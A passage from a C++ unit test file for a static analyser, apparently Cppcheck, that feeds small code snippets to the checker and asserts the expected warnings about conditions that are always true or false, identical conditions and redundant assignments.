0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=0', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"int f(void *handle) {\\n\"\n \" if (handle != nullptr) return 0;\\n\"\n \" if (handle) return 1;\\n\"\n \" else return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (warning) Identical condition 'handle!=nullptr', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(void* x, void* y) {\\n\"\n \" if (x == nullptr && y == nullptr)\\n\"\n \" return;\\n\"\n \" if (x == nullptr || y == nullptr)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" if (a == b)\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void* g();\\n\"\n \"void f(void* a, void* b) {\\n\"\n \" while (a) {\\n\"\n \" a = g();\\n\"\n \" }\\n\"\n \" if (a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:6:9]: (style) Condition 'a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * x, bool b) {\\n\"\n \" if (!x && b) {}\\n\"\n \" else if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string x=\\\"xyz\\\";\\n\"\n \" if(!x.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!x.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"std::string g();\\n\"\n \"void f() {\\n\"\n \" const std::string msg = g();\\n\"\n \" if(!msg.empty()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int *array, int size ) {\\n\"\n \" for(int i = 0; i < size; ++i) {\\n\"\n \" if(array == 0)\\n\"\n \" continue;\\n\"\n \" else if(array){}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) Condition 'array' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9277\n check(\"int f() {\\n\"\n \" constexpr bool x = true;\\n\"\n \" if constexpr (x)\\n\"\n \" return 0;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9954\n check(\"void f() {\\n\"\n \" const size_t a(8 * sizeof(short));\\n\"\n \" const size_t b(8 * sizeof(int));\\n\"\n \" if constexpr (a == 16 && b == 16) {}\\n\"\n \" else if constexpr (a == 16 && b == 32) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9319\n check(\"struct S {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void g(S s, bool& x);\\n\"\n \"void f() {\\n\"\n \" bool x = false;\\n\"\n \" g({0, 1}, x);\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9318\n check(\"class A {};\\n\"\n \"class B : public A {};\\n\"\n \"void f(A* x) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" auto b = dynamic_cast(x);\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" auto x = getX();\\n\"\n \" if (x == nullptr)\\n\"\n \" return 1;\\n\"\n \" auto y = dynamic_cast(x)\\n\"\n \" if (y == nullptr)\\n\"\n \" return 2;\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // handleKnownValuesInLoop\n check(\"bool g();\\n\"\n \"void f(bool x) {\\n\"\n \" if (x) while(x) x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // isLikelyStream\n check(\"void f(std::istringstream& iss) {\\n\"\n \" std::string x;\\n\"\n \" while (iss) {\\n\"\n \" iss >> x;\\n\"\n \" if (!iss) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9332\n check(\"struct A { void* g(); };\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" void* b = a.g();\\n\"\n \" if (!b) return;\\n\"\n \" void* c = a.g();\\n\"\n \" if (!c) return;\\n\"\n \" bool compare = c == b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9361\n check(\"void f(char c) {\\n\"\n \" if (c == '.') {}\\n\"\n \" else if (isdigit(c) != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9351\n check(\"int f(int x) {\\n\"\n \" const bool b = x < 42;\\n\"\n \" if(b) return b?0:-1;\\n\"\n \" return 42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:3:18]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9362\n check(\"uint8_t g();\\n\"\n \"void f() {\\n\"\n \" const uint8_t v = g();\\n\"\n \" if((v != 0x00)) {\\n\"\n \" if( (v & 0x01) == 0x00) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9367\n check(\"void f(long x) {\\n\"\n \" if (x <= 0L)\\n\"\n \" return;\\n\"\n \" if (x % 360L == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int b) {\\n\"\n \" static const int x = 10;\\n\"\n \" return x == 1 ? a : b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9709\n check(\"void f(int a) {\\n\"\n \" bool ok = false;\\n\"\n \" const char * r = nullptr;\\n\"\n \" do_something(&r);\\n\"\n \" if (r != nullptr)\\n\"\n \" ok = a != 0;\\n\"\n \" if (ok) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9816\n check(\"bool g();\\n\"\n \"void f() {\\n\"\n \" bool b = false;\\n\"\n \" do {\\n\"\n \" do {\\n\"\n \" if (g())\\n\"\n \" break;\\n\"\n \" b = true;\\n\"\n \" } while(false);\\n\"\n \" } while(!b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9865\n check(\"void f(const std::string &s) {\\n\"\n \" for (std::string::const_iterator it = s.begin(); it != s.end(); ++it) {\\n\"\n \" const unsigned char c = static_cast(*it);\\n\"\n \" if (c == '0') {}\\n\"\n \" else if ((c == 'a' || c == 'A')\\n\"\n \" || (c == 'b' || c == 'B')) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9711\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" int foo = 0;\\n\"\n \" struct option options[] = {\\n\"\n \" {\\\"foo\\\", no_argument, &foo, \\'f\\'},\\n\"\n \" {NULL, 0, NULL, 0},\\n\"\n \" };\\n\"\n \" getopt_long(argc, argv, \\\"f\\\", options, NULL);\\n\"\n \" if (foo) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: if (!v) is a known condition as well\n check(\"struct a {\\n\"\n \" int *b();\\n\"\n \"};\\n\"\n \"bool g(a c, a* d) {\\n\"\n \" a *v, *e = v = &c;\\n\"\n \" if (!v)\\n\"\n \" return true;\\n\"\n \" int *f = v->b();\\n\"\n \" if (f)\\n\"\n \" v = nullptr;\\n\"\n \" if (v == nullptr && e) {}\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:23]: (style) Condition 'e' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10037\n check(\"struct a {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(a*);\\n\"\n \"void f() {\\n\"\n \" struct a b;\\n\"\n \" uint32_t p = (uint32_t) -1;\\n\"\n \" b.p = (void *) &p;\\n\"\n \" int r = g(&b);\\n\"\n \" if (r == 0)\\n\"\n \" if (p != (uint32_t) -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9890\n check(\"int g(int);\\n\"\n \"bool h(int*);\\n\"\n \"int f(int *x) {\\n\"\n \" int y = g(0);\\n\"\n \" if (!y) {\\n\"\n \" if (h(x)) {\\n\"\n \" y = g(1);\\n\"\n \" if (y) {}\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:11:13]: (style) Condition '!y' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10134\n check(\"bool foo(bool b);\\n\"\n \"bool thud(const std::vector& Arr, const std::wstring& Str) {\\n\"\n \" if (Arr.empty() && Str.empty())\\n\"\n \" return false;\\n\"\n \" bool OldFormat = Arr.empty() && !Str.empty();\\n\"\n \" if (OldFormat)\\n\"\n \" return foo(OldFormat);\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10208\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{'a', 'b'}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(const std::string &first);\\n\"\n \"bool GetNext(const std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (style) Condition 'name.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10278\n check(\"void foo(unsigned int x) {\\n\"\n \" if ((100 - x) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10298\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10121\n check(\"struct AB {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"struct ABC {\\n\"\n \" AB* ab;\\n\"\n \"};\\n\"\n \"void g(ABC*);\\n\"\n \"int f(struct ABC *abc) {\\n\"\n \" int err = 0;\\n\"\n \" AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" g(abc);\\n\"\n \" if (ab->a != 123) {\\n\"\n \" err = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return err;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10323\n check(\"void foo(int x) {\\n\"\n \" if(x)\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if(x) {}\\n\"\n \" else\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:4:14]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // do not report both unsignedLessThanZero and knownConditionTrueFalse\n check(\"void foo(unsigned int max) {\\n\"\n \" unsigned int num = max - 1;\\n\"\n \" if (num < 0) {}\\n\" // <- do not report knownConditionTrueFalse\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10297\n check(\"void foo(size_t len, int start) {\\n\"\n \" if (start < 0) {\\n\"\n \" start = len+start;\\n\"\n \" if (start < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10362\n check(\"int tok;\\n\"\n \"void next();\\n\"\n \"void parse_attribute() {\\n\"\n \" if (tok == '(') {\\n\"\n \" int parenthesis = 0;\\n\"\n \" do {\\n\"\n \" if (tok == '(')\\n\"\n \" parenthesis++;\\n\"\n \" else if (tok == ')')\\n\"\n \" parenthesis--;\\n\"\n \" next();\\n\"\n \" } while (parenthesis && tok != -1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7843\n check(\"void f(int i) {\\n\"\n \" if(abs(i) == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Condition 'abs(i)==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #7844\n check(\"void f(int i) {\\n\"\n \" if(i > 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Condition 'abs(i)==i' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i < 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:24]: (style) Condition 'abs(i)==i' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i > -3 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9948\n check(\"bool f(bool a, bool b) {\\n\"\n \" return a || ! b || ! a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Return value '!a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10148\n check(\"void f(int i) {\\n\"\n \" if (i >= 64) {}\\n\"\n \" else if (i >= 32) {\\n\"\n \" i &= 31;\\n\"\n \" if (i == 0) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10548\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" do {} while (i++ == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10582\n check(\"static void fun(message_t *message) {\\n\"\n \" if (message->length >= 1) {\\n\"\n \" switch (data[0]) {}\\n\"\n \" }\\n\"\n \" uint8_t d0 = message->length > 0 ? data[0] : 0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8266\n check(\"void f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" if (g(&b) || b)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9720\n check(\"bool bar(int &);\\n\"\n \"void f(int a, int b) {\\n\"\n \" if (a + b == 3)\\n\"\n \" return;\\n\"\n \" if (bar(a) && (a + b == 3)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10437\n check(\"void f() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" bool b = false;\\n\"\n \" if (GetObj(PObj) && PObj != nullptr)\\n\"\n \" b = true;\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10223\n check(\"static volatile sig_atomic_t is_running;\\n\"\n \"static void handler(int signum) {\\n\"\n \" is_running = 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" signal(SIGINT, &handler);\\n\"\n \" is_running = 1;\\n\"\n \" while (is_running) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10659\n check(\"auto func(const std::tuple& t) {\\n\"\n \" auto& [foo, bar] = t;\\n\"\n \" std::cout << foo << bar << std::endl;\\n\"\n \" return foo < bar;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10484\n check(\"void f() {\\n\"\n \" static bool init = true;\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init(true);\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init{ true };\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n // #10248\n check(\"void f() {\\n\"\n \" static int var(1);\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int var{ 1 };\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9256\n check(\"bool f() {\\n\"\n \" bool b = false;\\n\"\n \" b = true;\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10702\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" void increment() { ++_count;}\\n\"\n \" auto get() const { return _count; }\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object) : _object(object) {}\\n\"\n \" void do_something() { _object.increment(); }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" auto get() const;\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object);\\n\"\n \" void do_something();\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint32_t u) {\\n\"\n \"\tconst uint32_t v = u < 4;\\n\"\n \"\tif (v) {\\n\"\n \"\t\tconst uint32_t w = v < 2;\\n\"\n \"\t\tif (w) {}\\n\"\n \"\t}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style) Condition 'v<2' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:7]: (style) Condition 'w' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(double d) {\\n\" // #10792\n \" if (d != 0) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (0 != d) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { double d; }\\n\"\n \"void f(A a) {\\n\"\n \" if (a.d != 0) {\\n\"\n \" int i = a.d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if(strlen(\\\"abc\\\") == 3) {;}\\n\"\n \" if(strlen(\\\"abc\\\") == 1) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 3) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 1) {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'strlen(\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:22]: (style) Condition 'strlen(\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:23]: (style) Condition 'wcslen(L\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:23]: (style) Condition 'wcslen(L\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if(!a && b && (!a == !b))\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:2:21]: (style) Condition '!a==!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10454\n check(\"struct S {\\n\"\n \" int f() const { return g() ? 0 : 1; }\\n\"\n \" bool g() const { return u == 18446744073709551615ULL; }\\n\"\n \" unsigned long long u{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8358\n check(\"void f(double d) { if ((d * 0) != 0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6870\n check(\"struct S {\\n\"\n \" int* p;\\n\"\n \" void f() const;\\n\"\n \" int g();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" if ((p == NULL) || ((p) && (g() >= *p))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Condition 'p' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10749\n check(\"struct Interface {\\n\"\n \" virtual int method() = 0;\\n\"\n \"};\\n\"\n \"struct Child : Interface {\\n\"\n \" int method() override { return 0; }\\n\"\n \" auto foo() {\\n\"\n \" if (method() == 0)\\n\"\n \" return true;\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct GrandChild : Child {\\n\"\n \" int method() override { return 1; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6855\n check(\"struct S { int i; };\\n\"\n \"void f(S& s) {\\n\"\n \" if (!(s.i > 0) && (s.i != 0))\\n\"\n \" s.i = 0;\\n\"\n \" else if (s.i < 0)\\n\"\n \" s.s = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:5:18]: (style) Condition 's.i<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6857\n check(\"int bar(int i) { return i; }\\n\"\n \"void foo() {\\n\"\n \" if (bar(1) == 0 && bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'bar(1)==0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:31]: (style) Condition 'bar(1)>0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S { int bar(int i) const; };\\n\"\n \"void foo(const S& s) {\\n\"\n \" if (s.bar(1) == 0 && s.bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (warning) Logical conjunction always evaluates to false: s.bar(1) == 0 && s.bar(1) > 0. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct B {\\n\" // #10618\n \" void Modify();\\n\"\n \" static void Static();\\n\"\n \" virtual void CalledByModify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" void testV();\\n\"\n \" void testS();\\n\"\n \" void CalledByModify() override { i = 0; }\\n\"\n \"};\\n\"\n \"void D::testV() {\\n\"\n \" i = 1;\\n\"\n \" B::Modify();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\"\n \"void D::testS() {\\n\"\n \" i = 1;\\n\"\n \" B::Static();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:11]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"typedef struct { bool x; } s_t;\\n\" // #8446\n \"unsigned f(bool a, bool b) {\\n\"\n \" s_t s;\\n\"\n \" const unsigned col = a ? (s.x = false) : (b = true);\\n\"\n \" if (!s.x) {}\\n\"\n \" return col;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11233\n \" static std::string m;\\n\"\n \" static void f() { m = \\\"abc\\\"; }\\n\"\n \" static void g() {\\n\"\n \" m.clear();\\n\"\n \" f();\\n\"\n \" if (m.empty()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11203\n check(\"void f() {\\n\"\n \" int i = 10;\\n\"\n \" if(i > 9.9){}\\n\"\n \" float f = 9.9f;\\n\"\n \" if(f < 10) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:10]: (style) Condition 'i>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:10]: (style) Condition 'f<10' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n check(\"constexpr int f() {\\n\" // #11238\n \" return 1;\\n\"\n \"}\\n\"\n \"constexpr bool g() {\\n\"\n \" return f() == 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() { return -1; }\\n\"\n \"void f() {\\n\"\n \" if (g() == 1 && g() == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'g()==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:25]: (style) Condition 'g()==-1' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #9817\n check(\"void f(float x) {\\n\"\n \" if (x <= 0) {}\\n\"\n \" else if (x < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10426\n check(\"int f() {\\n\"\n \" std::string s;\\n\"\n \" for (; !s.empty();) {}\\n\"\n \" for (; s.empty();) 